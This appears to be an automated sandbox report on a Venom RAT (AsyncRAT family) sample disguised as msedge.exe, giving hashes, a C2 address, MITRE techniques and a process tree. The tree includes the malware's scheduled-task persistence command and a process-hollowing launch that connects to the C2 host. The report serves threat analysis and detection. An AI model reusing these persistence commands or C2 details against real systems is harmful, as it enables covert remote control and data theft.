Overview

overview

10

Static

static

10

msedge.exe

windows10-1703-x64

10

msedge.exe

windows10-2004-x64

10

msedge.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-08-2024 18:25

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General

  • Target

    msedge.exe

  • Size

    145KB

  • MD5

    6a4ecf73deebde28f382fcfb5bec6217

  • SHA1

    dd0e386f238500e74d131bda5c206509d5d07687

  • SHA256

    cbf37235e35f3823287ffa5adead151873944b9d540ad4c953d29c4f8711d1fd

  • SHA512

    859e185da74e2f300cc3d7e215c2cc8e3ed56db39a0de28f9589e8743fa8730377ed06d239ea18c10345f7d243b34c5f0f0a468692b2b3f9691a092aa6d38834

  • SSDEEP

    3072:+UOcxHCoeGPMVhYSnu1bhnQIe5BV0WUniyimyJLY:+EeGPMVKiwb9re5v0WURyt

Score
10/10
asyncratdefaultdiscoverypersistencerat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

147.185.221.20:49485

Mutex

geuttmzzyleqrt

Attributes
  • delay

    3

  • install

    true

  • install_file

    msedge.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Async RAT payload 1 IoCs
    rat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies registry class 14 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\msedge.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "msedge" /tr '"C:\Users\Admin\AppData\Roaming\msedge.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "msedge" /tr '"C:\Users\Admin\AppData\Roaming\msedge.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1088
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA306.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1884
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4388
      • C:\Users\Admin\AppData\Roaming\msedge.exe
        "C:\Users\Admin\AppData\Roaming\msedge.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1448
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe"
          4⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1256
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 147.185.221.20 4448 HVNC_MUTEX
          4⤵
          • System Location Discovery: System Language Discovery
          PID:768
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2156

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log
    Filesize

    1KB

    MD5

    b4e91d2e5f40d5e2586a86cf3bb4df24

    SHA1

    31920b3a41aa4400d4a0230a7622848789b38672

    SHA256

    5d8af3c7519874ed42a0d74ee559ae30d9cc6930aef213079347e2b47092c210

    SHA512

    968751b79a98961f145de48d425ea820fd1875bae79a725adf35fc8f4706c103ee0c7babd4838166d8a0dda9fbce3728c0265a04c4b37f335ec4eaa110a2b319

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\tmpA306.tmp.bat
    Filesize

    150B

    MD5

    86c4fd339c4b7c7709a09db3c9b33f50

    SHA1

    fcabfbbe1fb773994156fa30513f247b267fadbb

    SHA256

    4d5dfb30c4a4bb88ace5409ef29663c442718e14faf2a78420e85bea916b4180

    SHA512

    ac041db2a9150977a460c4910f5c9f0dc13f1eab945dd322411cfad9c0ddb4fb4c092da7f678e3bb39d565c5850e2ee0dba89ae16c8c5417a41ac19da755a681

    Download Submit

  • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf
    Filesize

    8B

    MD5

    cf759e4c5f14fe3eec41b87ed756cea8

    SHA1

    c27c796bb3c2fac929359563676f4ba1ffada1f5

    SHA256

    c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

    SHA512

    c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

    Download Submit

  • C:\Users\Admin\AppData\Roaming\msedge.exe
    Filesize

    145KB

    MD5

    6a4ecf73deebde28f382fcfb5bec6217

    SHA1

    dd0e386f238500e74d131bda5c206509d5d07687

    SHA256

    cbf37235e35f3823287ffa5adead151873944b9d540ad4c953d29c4f8711d1fd

    SHA512

    859e185da74e2f300cc3d7e215c2cc8e3ed56db39a0de28f9589e8743fa8730377ed06d239ea18c10345f7d243b34c5f0f0a468692b2b3f9691a092aa6d38834

    Download Submit

  • memory/768-23-0x0000000005810000-0x0000000005DB6000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/768-22-0x0000000004FD0000-0x000000000506C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/768-21-0x0000000004EE0000-0x0000000004F72000-memory.dmp

    Filesize

    584KB

    Download

  • memory/768-20-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1448-19-0x00000000018A0000-0x00000000018C0000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1448-16-0x000000001CE60000-0x000000001CED6000-memory.dmp

    Filesize

    472KB

    Download

  • memory/1448-17-0x0000000001850000-0x0000000001860000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1448-18-0x000000001BDA0000-0x000000001BDBE000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1744-1-0x00007FFDC8D63000-0x00007FFDC8D65000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1744-9-0x00007FFDC8D60000-0x00007FFDC9822000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1744-4-0x00007FFDC8D60000-0x00007FFDC9822000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1744-3-0x00007FFDC8D60000-0x00007FFDC9822000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1744-0-0x0000000000780000-0x00000000007AA000-memory.dmp

    Filesize

    168KB

    Download